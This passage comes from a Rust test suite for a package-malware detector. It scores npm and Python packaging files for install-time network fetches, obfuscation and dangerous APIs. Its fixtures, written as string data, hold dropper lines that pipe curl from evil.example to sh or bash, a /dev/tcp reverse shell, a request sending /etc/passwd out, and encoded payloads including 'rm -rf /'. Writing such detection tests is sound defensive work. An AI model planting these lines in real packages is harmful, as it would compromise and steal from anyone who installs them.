assert_eq!(b.url_count, 1, "one https URL in the install script");
let f = b.findings();
let net = f
.iter()
.find(|x| x.id == "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL")
.expect("network-in-install finding present");
assert_eq!(
net.severity,
Severity::High,
"a dropper install hook is a High signal"
);
assert_eq!(
net.severity.as_str(),
"High",
"canonical severity label consumers render"
);
// The weak install-hook feature is also present (Low), below the network High.
assert!(
f.iter()
.any(|x| x.id == "MODGUNN-BEHAVIOR-INSTALL-HOOK" && x.severity == Severity::Low),
"the install-hook feature is a Low finding: {f:#?}",
);
#[cfg(feature = "testmatrix")]
{
use nornir_testmatrix::{drain_functional_rows, status};
let rows = drain_functional_rows();
let hit = rows
.iter()
.find(|r| {
r.suite == "modgunn/behavior-features" && r.test_name == "parse_npm_package"
})
.unwrap_or_else(|| panic!("no behaviour-features row: {rows:#?}"));
assert!(
status::is_green(&hit.status),
"parsed OK ⇒ GREEN row: {hit:#?}"
);
assert_eq!(
hit.aspect, "functional",
"feature markers ride the `functional` aspect"
);
}
}
/// A base64-blob `preinstall` (`node -e "eval(atob('<long>'))"`) trips the
/// obfuscation + sensitive-API features even with no explicit URL.
#[test]
fn encoded_payload_trips_obfuscation_and_sensitive_apis() {
let blob = "aGVsbG8gd29ybGQgdGhpcyBpcyBhIHZlcnkgbG9uZyBiYXNlNjQgcGF5bG9hZA";
let json = format!(
r#"{{ "name": "evil-pkg", "scripts": {{ "preinstall": "node -e \"eval(atob('{blob}'))\"" }} }}"#
);
let b = parse_npm_package(&json).unwrap();
assert_eq!(b.install_hooks, vec!["preinstall"]);
assert!(
b.max_token_entropy >= DEFAULT_OBFUSCATION_ENTROPY,
"base64 blob is high-entropy: {}",
b.max_token_entropy
);
assert!(
b.sensitive_apis.contains("eval"),
"eval( is a sensitive primitive: {:?}",
b.sensitive_apis
);
assert!(
b.sensitive_apis.contains("base64-decode"),
"atob( is base64 decode: {:?}",
b.sensitive_apis
);
assert!(
b.sensitive_apis.contains("inline-eval"),
"node -e is inline eval: {:?}",
b.sensitive_apis
);
let findings = b.findings();
let ids: Vec<&str> = findings.iter().map(|x| x.id.as_str()).collect();
assert!(ids.contains(&"MODGUNN-BEHAVIOR-OBFUSCATION"), "{ids:?}");
assert!(ids.contains(&"MODGUNN-BEHAVIOR-SENSITIVE-API"), "{ids:?}");
}
/// Guard against false positives (RED if the extractor over-fires): a benign
/// package with only a user-invoked `build`/`test` script and no install hook
/// yields NO behaviour findings — a `curl` in a `test` script the user opts into
/// is not the auto-run malware vector.
#[test]
fn benign_package_with_no_install_hook_is_clean() {
let json = r#"{
"name": "honest-lib",
"version": "1.2.3",
"scripts": {
"build": "tsc",
"test": "curl -s https://ci.example/report && jest"
}
}"#;
let b = parse_npm_package(json).unwrap();
assert!(b.install_hooks.is_empty(), "no auto-run install hook");
assert!(
!b.network_in_install,
"the network call is in `test`, not an install hook"
);
assert_eq!(b.url_count, 0, "the test-script URL is not scored");
assert!(b.sensitive_apis.is_empty(), "no install-script primitives");
assert!(
b.findings().is_empty(),
"a package with no install hook has no behaviour findings: {:?}",
b.findings()
);
}
/// A package with no `scripts` at all parses cleanly to an empty feature vector.
#[test]
fn no_scripts_is_empty_feature_vector() {
let b = parse_npm_package(r#"{ "name": "pure-data" }"#).unwrap();
assert!(b.install_hooks.is_empty());
assert_eq!(b.url_count, 0);
assert_eq!(b.max_token_entropy, 0.0);
assert!(b.sensitive_apis.is_empty());
assert!(b.findings().is_empty());
}
/// Malformed JSON is a clean `Err`, never a panic (the parser contract).
#[test]
fn malformed_json_is_an_error_not_a_panic() {
assert!(parse_npm_package("{ not json").is_err());
}
// ── PyPI setup.py front-end (reuses the SAME extract_from_install_text) ──────
/// RED-when-broken: a malicious `setup.py` that downloads a payload
/// (`urllib.urlopen`) and runs it (`os.system`) MUST fold — over the WHOLE-file
/// scan, no cmdclass needed — to a **High** `MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL`
/// finding, and pull the `process-exec` sensitive-API. If PyPI whole-file
/// extraction or the severity mapping breaks, the High-label assertion fires red.
#[test]
fn pypi_dropper_setup_maps_to_high_network_finding() {
#[cfg(feature = "testmatrix")]
let _guard = crate::testmatrix_test_guard(); // serialize the shared drain buffer
#[cfg(feature = "testmatrix")]
let _ = nornir_testmatrix::drain_functional_rows(); // clean buffer
let setup_py = r#"
from setuptools import setup
import os, urllib.request
# stage-2 dropper that runs at `pip install` from the sdist
urllib.request.urlopen("https://evil.example/x.py")
os.system("sh -c 'curl https://evil.example/run | sh'")
setup(name="totally-legit-utils", version="1.0.0", packages=["utils"])
"#;
let b = parse_pypi_setup(setup_py);
assert_eq!(
b.subject, "totally-legit-utils",
"name= keyword-arg extracted"
);
assert!(
b.network_in_install,
"urllib/urlopen/curl in setup.py is a network fetch"
);
assert!(
b.sensitive_apis.contains("process-exec"),
"os.system is process-exec: {:?}",
b.sensitive_apis
);
let f = b.findings();
let net = f
.iter()
.find(|x| x.id == "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL")
.expect("network-in-install finding present");
assert_eq!(
net.severity,
Severity::High,
"a dropper setup.py is a High signal"
);
assert_eq!(
net.severity.as_str(),
"High",
"canonical severity label consumers render"
);
#[cfg(feature = "testmatrix")]
{
use nornir_testmatrix::{drain_functional_rows, status};
let rows = drain_functional_rows();
let hit = rows
.iter()
.find(|r| {
r.suite == "modgunn/behavior-features" && r.test_name == "parse_pypi_setup"
})
.unwrap_or_else(|| panic!("no pypi behaviour-features row: {rows:#?}"));
assert!(
status::is_green(&hit.status),
"parsed OK ⇒ GREEN row: {hit:#?}"
);
assert_eq!(
hit.aspect, "functional",
"feature markers ride the `functional` aspect"
);
}
}
/// A `cmdclass` install-command override is the PyPI install-hook signal → a Low
/// `MODGUNN-BEHAVIOR-INSTALL-HOOK` finding, even without a dangerous call.
#[test]
fn pypi_cmdclass_install_override_is_an_install_hook() {
let setup_py = r#"
from setuptools import setup
from setuptools.command.install import install
class PostInstall(install):
def run(self):
install.run(self)
setup(name="hooky", version="2.0", cmdclass={"install": PostInstall})
"#;
let b = parse_pypi_setup(setup_py);
assert_eq!(
b.install_hooks,
vec!["cmdclass-install"],
"custom install command detected"
);
assert!(
b.findings()
.iter()
.any(|x| x.id == "MODGUNN-BEHAVIOR-INSTALL-HOOK" && x.severity == Severity::Low),
"the install-hook feature is a Low finding: {:?}",
b.findings(),
);
}
/// Guard against false positives (RED if the extractor over-fires): a plain
/// declarative `setup.py` with only `name` / `packages` / `install_requires` and
/// no dangerous call yields NO behaviour findings — `install_requires` contains
/// the substring "install" but is not a `cmdclass` override.
#[test]
fn pypi_benign_declarative_setup_is_clean() {
let setup_py = r#"
from setuptools import setup
setup(
name="honest-lib",
version="3.4.5",
packages=["honest_lib"],
install_requires=["requests>=2", "click"],
)
"#;
let b = parse_pypi_setup(setup_py);
assert_eq!(b.subject, "honest-lib");
assert!(
b.install_hooks.is_empty(),
"install_requires is not a cmdclass override"
);
assert!(
!b.network_in_install,
"no network fetch in a declarative setup"
);
assert!(b.sensitive_apis.is_empty(), "no dangerous primitives");
assert!(
b.findings().is_empty(),
"a declarative setup.py has no behaviour findings: {:?}",
b.findings()
);
}
/// A base64-blob exec in `setup.py` trips obfuscation + the Python deserialize/
/// dynamic-import sensitive primitives.
#[test]
fn pypi_encoded_payload_trips_obfuscation_and_python_apis() {
let blob = "aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ3JtIC1yZiAvJyk9PT1sb25nYmFzZTY0";
let setup_py = format!(
"import base64, marshal\nexec(marshal.loads(base64.b64decode('{blob}')))\nsetup(name='evil')\n"
);
let b = parse_pypi_setup(&setup_py);
assert!(
b.max_token_entropy >= DEFAULT_OBFUSCATION_ENTROPY,
"base64 blob is high-entropy: {}",
b.max_token_entropy
);
assert!(
b.sensitive_apis.contains("deserialize-exec"),
"marshal.loads is deserialize-exec: {:?}",
b.sensitive_apis
);
assert!(
b.sensitive_apis.contains("base64"),
"base64 primitive: {:?}",
b.sensitive_apis
);
let findings = b.findings();
let ids: Vec<&str> = findings.iter().map(|x| x.id.as_str()).collect();
assert!(ids.contains(&"MODGUNN-BEHAVIOR-OBFUSCATION"), "{ids:?}");
assert!(ids.contains(&"MODGUNN-BEHAVIOR-SENSITIVE-API"), "{ids:?}");
}
/// RED-when-reverted (FALSE-NEGATIVE fix): a `setup.py` stage-2 dropper that uses
/// the Python stdlib `http.client.HTTPSConnection` — with NO `http(s)://` literal
/// and no `urllib` — must still fold to the **High** network-in-install finding.
/// Before the needle set was widened, this canonical needle-free dropper shipped
/// completely clean.
#[test]
fn pypi_http_client_stdlib_dropper_is_high_network() {
let setup_py = "import http.client\nc = http.client.HTTPSConnection('evil.example')\nc.request('GET', '/stage2')\nopen('_s2.py','wb').write(c.getresponse().read())\nsetup(name='legit')\n";
let b = parse_pypi_setup(setup_py);
assert!(
b.network_in_install,
"http.client stdlib fetch is a network fetch"
);
assert!(
b.findings()
.iter()
.any(|f| f.id == "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"
&& f.severity == Severity::High),
"needle-free stdlib dropper must be High: {:?}",
b.findings()
);
}
/// RED-when-reverted (FALSE-NEGATIVE fix): `requests.post` (any verb, not only
/// `.get`) is a network fetch. The needle was widened from `requests.get` to
/// `requests.`.
#[test]
fn pypi_requests_post_is_network() {
let setup_py = "import requests\nrequests.post('http'+'s://evil/x', data=open('/etc/passwd').read())\nsetup(name='x')\n";
let b = parse_pypi_setup(setup_py);
assert!(
b.network_in_install,
"requests.post is a network verb too (scheme is even split): {:?}",
b.findings()
);
}
/// RED-when-reverted (FALSE-NEGATIVE fix): a HEX-encoded payload has Shannon
/// entropy <= 4.0 bits/byte (< the 4.5 gate), so the entropy signal alone is
/// structurally blind to it. The dedicated hex-run detector flags it as
/// obfuscation.
#[test]
fn pypi_hex_encoded_payload_trips_obfuscation() {
// A long hex blob (has letters a-f, so not a decimal literal); no base64.
let setup_py = "exec(bytes.fromhex('6f732e73797374656d28277264202d7266202f27296465616462656566'))\nsetup(name='x')\n";
let b = parse_pypi_setup(setup_py);
assert!(b.hex_blob, "a long a-f hex run is detected");
assert!(
b.max_token_entropy < DEFAULT_OBFUSCATION_ENTROPY,
"and the entropy gate alone would MISS it: {}",
b.max_token_entropy
);
assert!(
b.findings()
.iter()
.any(|f| f.id == "MODGUNN-BEHAVIOR-OBFUSCATION"),
"hex payload must trip obfuscation: {:?}",
b.findings()
);
// A benign long DECIMAL token (a timestamp/version) must NOT trip hex_blob.
let benign = parse_pypi_setup("VERSION = '12345678901234567890'\nsetup(name='ok')\n");
assert!(!benign.hex_blob, "a long decimal number is not a hex blob");
}
/// RED-when-reverted: the `os.exec*` family (process-replace) must be caught as
/// process-exec. `os.execv(` contains no literal `exec(`, so it evaded detection
/// and a payload-handoff shipped clean.
#[test]
fn os_exec_family_is_process_exec() {
let b = parse_pypi_setup(
"import os\nos.execvp('/bin/sh', ['sh','-c','curl evil|sh'])\nsetup(name='x')\n",
);
assert!(
b.sensitive_apis.contains("process-exec"),
"os.execvp is process-exec: {:?}",
b.sensitive_apis
);
}
/// RED-when-reverted: a reverse shell (`/dev/tcp`) in an install script is a peer
/// threat to a dropper and must rate **High** — not the Medium a generic
/// `exec`/`subprocess` earns. A plain `subprocess`-only script stays Medium (no
/// over-escalation).
#[test]
fn reverse_shell_in_install_is_high_not_medium() {
let setup_py =
"import os\nos.system('bash -i >& /dev/tcp/evil.example/443 0>&1')\nsetup(name='x')\n";
let b = parse_pypi_setup(setup_py);
assert!(
b.sensitive_apis.contains("reverse-shell"),
"/dev/tcp is a reverse shell: {:?}",
b.sensitive_apis
);
let sens = b
.findings()
.into_iter()
.find(|f| f.id == "MODGUNN-BEHAVIOR-SENSITIVE-API")
.expect("sensitive-api finding");
assert_eq!(
sens.severity,
Severity::High,
"a reverse shell in install is High"
);
// A generic dangerous primitive with no reverse/interactive shell stays Medium.
let plain =
parse_pypi_setup("import subprocess\nsubprocess.run(['make'])\nsetup(name='ok')\n");
let m = plain
.findings()
.into_iter()
.find(|f| f.id == "MODGUNN-BEHAVIOR-SENSITIVE-API")
.expect("finding");
assert_eq!(
m.severity,
Severity::Medium,
"a bare subprocess is only Medium (no over-escalation)"
);
}
// ── pyproject.toml front-end (SECTION-AWARE — never a whole-file scan) ───────
/// RED-when-broken **anti-false-positive guard** (the whole reason this front-end
/// is section-aware): a perfectly honest declarative `pyproject.toml` — its
/// `[project] dependencies` list literally contains `urllib3` (which embeds the
/// `urllib` network needle) and its `[project.urls]` block carries `https://`
/// homepages — MUST yield NO `network_in_install` finding, because none of that is
/// build/install-active. If anyone regresses this to the naive whole-file scan the
/// `setup.py` front-end uses, `urllib3` + `https://` trip `network_in_install` and
/// this fires red.
#[test]
fn pyproject_benign_declarative_no_network_finding() {
let toml = r#"
[build-system]
requires = ["setuptools>=61", "wheel"]
build-backend = "setuptools.build_meta"
[project]
name = "honest-tool"
version = "1.0.0"
dependencies = [
"urllib3>=2",
"requests",
"beautifulsoup4",
]
[project.optional-dependencies]
dev = ["pytest", "requests"]
[project.urls]
Homepage = "https://honest.example/tool"
Repository = "https://github.com/honest/tool"
[tool.black]
line-length = 100
[tool.ruff]
target-version = "py311"
"#;
let b = parse_pyproject_toml(toml);
assert_eq!(
b.subject, "honest-tool",
"name= keyword-arg extracted from [project]"
);
assert!(
!b.network_in_install,
"declarative deps/urls are NOT install-active — a whole-file scan would false-positive here: {b:#?}"
);
assert_eq!(
b.url_count, 0,
"the [project.urls] https homepages are not scanned"
);
assert!(
b.sensitive_apis.is_empty(),
"no build-active dangerous primitive"
);
assert!(
b.install_hooks.is_empty(),
"no in-tree backend / cmdclass / build-hook"
);
assert!(
b.findings().is_empty(),
"an honest declarative pyproject has no behaviour findings: {:?}",
b.findings()
);
}
/// RED-when-broken: a genuinely malicious `pyproject.toml` — a PEP 517 in-tree
/// backend (`backend-path`) plus a build-hook table that `curl`s a stage-2 payload
/// and pipes it to `bash` — MUST fold to a **High**
/// `MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL` finding (the build-time dropper) plus the
/// Low install-hook. The network needle lives in a build-active section, so — unlike
/// the benign case above — it IS scanned. If the section scoping breaks (drops the
/// build-hook table) or the severity fold breaks, the High assertion fires red.
#[test]
fn pyproject_malicious_build_hook_maps_to_high_network_finding() {
#[cfg(feature = "testmatrix")]
let _guard = crate::testmatrix_test_guard(); // serialize the shared drain buffer
#[cfg(feature = "testmatrix")]
let _ = nornir_testmatrix::drain_functional_rows(); // clean buffer
let toml = r#"
[build-system]
requires = ["setuptools", "wheel"]
build-backend = "_evil_backend"
backend-path = ["."]
[project]
name = "totally-legit-utils"
version = "1.0.0"
dependencies = ["urllib3"]
[project.urls]
Homepage = "https://legit.example"
[tool.setuptools.cmdclass]
install = "hook:CustomInstall"
[tool.acme.build.hooks.custom]
command = "curl -s https://evil.example/stage2.sh | bash"
"#;
let b = parse_pyproject_toml(toml);
assert_eq!(
b.subject, "totally-legit-utils",
"declarative name still extracted"
);
assert!(
b.network_in_install,
"curl/https in a build-hook table is a network fetch: {b:#?}"
);
assert!(
b.url_count >= 1,
"the build-hook URL is counted: {}",
b.url_count
);
assert!(
b.install_hooks.contains(&"pep517-backend-path".to_string()),
"an in-tree PEP 517 backend is an install hook: {:?}",
b.install_hooks
);
assert!(
b.install_hooks.contains(&"cmdclass".to_string()),
"a cmdclass override is an install hook: {:?}",
b.install_hooks
);
let f = b.findings();
let net = f
.iter()
.find(|x| x.id == "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL")
.expect("network-in-install finding present");
assert_eq!(
net.severity,
Severity::High,
"a build-time dropper is a High signal"
);
assert_eq!(
net.severity.as_str(),
"High",
"canonical severity label consumers render"
);
assert!(
f.iter()
.any(|x| x.id == "MODGUNN-BEHAVIOR-INSTALL-HOOK" && x.severity == Severity::Low),
"the install-hook feature is a Low finding: {f:#?}"
);
#[cfg(feature = "testmatrix")]
{
use nornir_testmatrix::{drain_functional_rows, status};
let rows = drain_functional_rows();
let hit = rows
.iter()
.find(|r| {
r.suite == "modgunn/behavior-features" && r.test_name == "parse_pyproject_toml"
})
.unwrap_or_else(|| panic!("no pyproject behaviour-features row: {rows:#?}"));
assert!(
status::is_green(&hit.status),
"parsed OK ⇒ GREEN row: {hit:#?}"
);
assert_eq!(
hit.aspect, "functional",
"feature markers ride the `functional` aspect"
);
}
}
/// A `[build-system]` whose only signal is a `requires` build-dependency list —
/// including a dep that embeds a network needle (`urllib3`) — is still fully benign:
/// `requires` is declarative even inside the active `[build-system]` section, so it
/// is skipped and never trips `network_in_install`.
#[test]
fn pyproject_build_requires_urllib_is_not_a_network_call() {
let toml = r#"
[build-system]
requires = ["setuptools", "urllib3", "requests"]
build-backend = "setuptools.build_meta"
[project]
name = "uses-urllib-at-build"
"#;
let b = parse_pyproject_toml(toml);
assert!(
!b.network_in_install,
"a build `requires` dep list is declarative: {b:#?}"
);
assert!(b.install_hooks.is_empty(), "no in-tree backend / cmdclass");
assert!(
b.findings().is_empty(),
"no behaviour findings: {:?}",
b.findings()
);
}
/// Poetry-style metadata (`[tool.poetry]` name + `homepage` URL + a
/// `[tool.poetry.dependencies]` block) is declarative config, not a build hook —
/// no false positive, and the name is still extracted from `[tool.poetry]`.
#[test]
fn pyproject_poetry_metadata_is_declarative() {
let toml = r#"
[tool.poetry]
name = "poetry-pkg"
version = "0.1.0"
homepage = "https://poetry.example"
repository = "https://github.com/x/poetry-pkg"
[tool.poetry.dependencies]
python = "^3.11"
requests = "^2.0"
[build-system]
requires = ["poetry-core"]
build-backend = "poetry.core.masonry.api"
"#;
let b = parse_pyproject_toml(toml);
assert_eq!(b.subject, "poetry-pkg", "name extracted from [tool.poetry]");
assert!(
!b.network_in_install,
"poetry homepage/repo URLs are declarative: {b:#?}"
);
assert_eq!(b.url_count, 0);
assert!(
b.findings().is_empty(),
"no behaviour findings: {:?}",
b.findings()
);
}
// ── setup.cfg front-end (SECTION-AWARE INI — never a whole-file scan) ─────────
/// RED-when-broken **anti-false-positive guard** (the whole reason this front-end
/// is section-aware): a perfectly honest declarative `setup.cfg` — its `[options]`
/// `install_requires` literally lists `urllib3` (which embeds the `urllib` network
/// needle) and its `[metadata]` carries `url = https://…` + a `project_urls` block —
/// MUST yield NO `network_in_install` finding, because none of that is
/// build/install-active. If anyone regresses this to a naive whole-file scan,
/// `urllib3` + `https://` trip `network_in_install` and this fires red.
#[test]
fn setupcfg_benign_declarative_no_network_finding() {
let cfg = r#"
[metadata]
name = honest-tool
version = 1.0.0
url = https://honest.example/tool
project_urls =
Homepage = https://honest.example/tool
Repository = https://github.com/honest/tool
[options]
packages = find:
python_requires = >=3.9
install_requires =
urllib3>=2
requests
beautifulsoup4
[options.extras_require]
dev =
pytest
requests
"#;
let b = parse_setup_cfg(cfg);
assert_eq!(b.subject, "honest-tool", "name= extracted from [metadata]");
assert!(
!b.network_in_install,
"declarative deps/urls are NOT install-active — a whole-file scan would false-positive here: {b:#?}"
);
assert_eq!(
b.url_count, 0,
"the [metadata] url / project_urls https homepages are not scanned"
);
assert!(
b.sensitive_apis.is_empty(),
"no build-active dangerous primitive"
);
assert!(
b.install_hooks.is_empty(),
"no cmdclass / build-entry-point"
);
assert!(
b.findings().is_empty(),
"an honest declarative setup.cfg has no behaviour findings: {:?}",
b.findings()
);
}
/// RED-when-broken: a genuinely malicious `setup.cfg` — a build-time network fetch
/// via `[options] dependency_links` (URLs setuptools downloads at build) plus a
/// `cmdclass` install override — MUST fold to a **High**
/// `MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL` finding plus the Low install-hook. The
/// `dependency_links` URL lives in a build-active key, so — unlike the benign
/// `install_requires`/`url` above — it IS scanned. If the section scoping breaks
/// (folds nothing) or the severity fold breaks, the High assertion fires red.
#[test]
fn setupcfg_malicious_dependency_links_maps_to_high_network_finding() {
#[cfg(feature = "testmatrix")]
let _guard = crate::testmatrix_test_guard(); // serialize the shared drain buffer
#[cfg(feature = "testmatrix")]
let _ = nornir_testmatrix::drain_functional_rows(); // clean buffer
let cfg = r#"
[metadata]
name = totally-legit-utils
version = 1.0.0
url = https://legit.example
project_urls =
Homepage = https://legit.example
[options]
packages = find:
install_requires =
urllib3
requests
dependency_links =
https://evil.example/stage2-1.0.tar.gz#egg=stage2
cmdclass =
install = _bootstrap:PostInstall
"#;
let b = parse_setup_cfg(cfg);
assert_eq!(
b.subject, "totally-legit-utils",
"declarative name still extracted"
);
assert!(
b.network_in_install,
"a dependency_links URL fetch is a build-time network call: {b:#?}"
);
assert!(
b.url_count >= 1,
"the dependency_links URL is counted: {}",
b.url_count
);
assert!(
b.install_hooks.contains(&"cmdclass".to_string()),
"a cmdclass override is an install hook: {:?}",
b.install_hooks
);
let f = b.findings();
let net = f
.iter()
.find(|x| x.id == "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL")
.expect("network-in-install finding present");
assert_eq!(
net.severity,
Severity::High,
"a build-time dropper is a High signal"
);
assert_eq!(
net.severity.as_str(),
"High",
"canonical severity label consumers render"
);
assert!(
f.iter()
.any(|x| x.id == "MODGUNN-BEHAVIOR-INSTALL-HOOK" && x.severity == Severity::Low),
"the install-hook feature is a Low finding: {f:#?}"
);
#[cfg(feature = "testmatrix")]
{
use nornir_testmatrix::{drain_functional_rows, status};
let rows = drain_functional_rows();
let hit = rows
.iter()
.find(|r| {
r.suite == "modgunn/behavior-features" && r.test_name == "parse_setup_cfg"
})
.unwrap_or_else(|| panic!("no setup.cfg behaviour-features row: {rows:#?}"));
assert!(
status::is_green(&hit.status),
"parsed OK ⇒ GREEN row: {hit:#?}"
);
assert_eq!(
hit.aspect, "functional",
"feature markers ride the `functional` aspect"
);
}
}
/// An `[options]` whose only signal is an `install_requires` dependency list —
/// including a dep that embeds a network needle (`urllib3`) — is still fully benign:
/// `install_requires` is declarative even inside the active `[options]` section, so
/// it is skipped and never trips `network_in_install`.
#[test]
fn setupcfg_install_requires_urllib_is_not_a_network_call() {
let cfg = r#"
[metadata]
name = uses-urllib
[options]
install_requires = urllib3
"#;
let b = parse_setup_cfg(cfg);
assert!(
!b.network_in_install,
"an install_requires dep list is declarative: {b:#?}"
);
assert!(
b.install_hooks.is_empty(),
"no cmdclass / build-entry-point"
);
assert!(
b.findings().is_empty(),
"no behaviour findings: {:?}",
b.findings()
);
}
/// A build-active `[options.entry_points]` group (`distutils.commands` — a command
/// setuptools runs at build) is an install-hook signal, while a `console_scripts`
/// group (a user-run wrapper) is NOT — the auto-run-vs-opt-in line.
#[test]
fn setupcfg_build_entry_point_is_a_hook_but_console_scripts_is_not() {
let build = r#"
[metadata]
name = has-build-command
[options.entry_points]
distutils.commands =
build_hook = has_build_command.loader:BuildCommand
"#;
let b = parse_setup_cfg(build);
assert_eq!(
b.install_hooks,
vec!["build-entry-point"],
"a distutils.commands entry point runs at build"
);
assert!(
b.findings()
.iter()
.any(|x| x.id == "MODGUNN-BEHAVIOR-INSTALL-HOOK" && x.severity == Severity::Low),
"the install-hook feature is a Low finding: {:?}",
b.findings()
);
let runtime = r#"
[metadata]
name = has-console-script
[options.entry_points]
console_scripts =
mytool = has_console_script.cli:main
"#;
let r = parse_setup_cfg(runtime);
assert!(
r.install_hooks.is_empty(),
"a console_scripts wrapper is user-run, not a build hook: {:?}",
r.install_hooks
);
assert!(
r.findings().is_empty(),
"no behaviour findings for a plain console script: {:?}",
r.findings()
);
}
}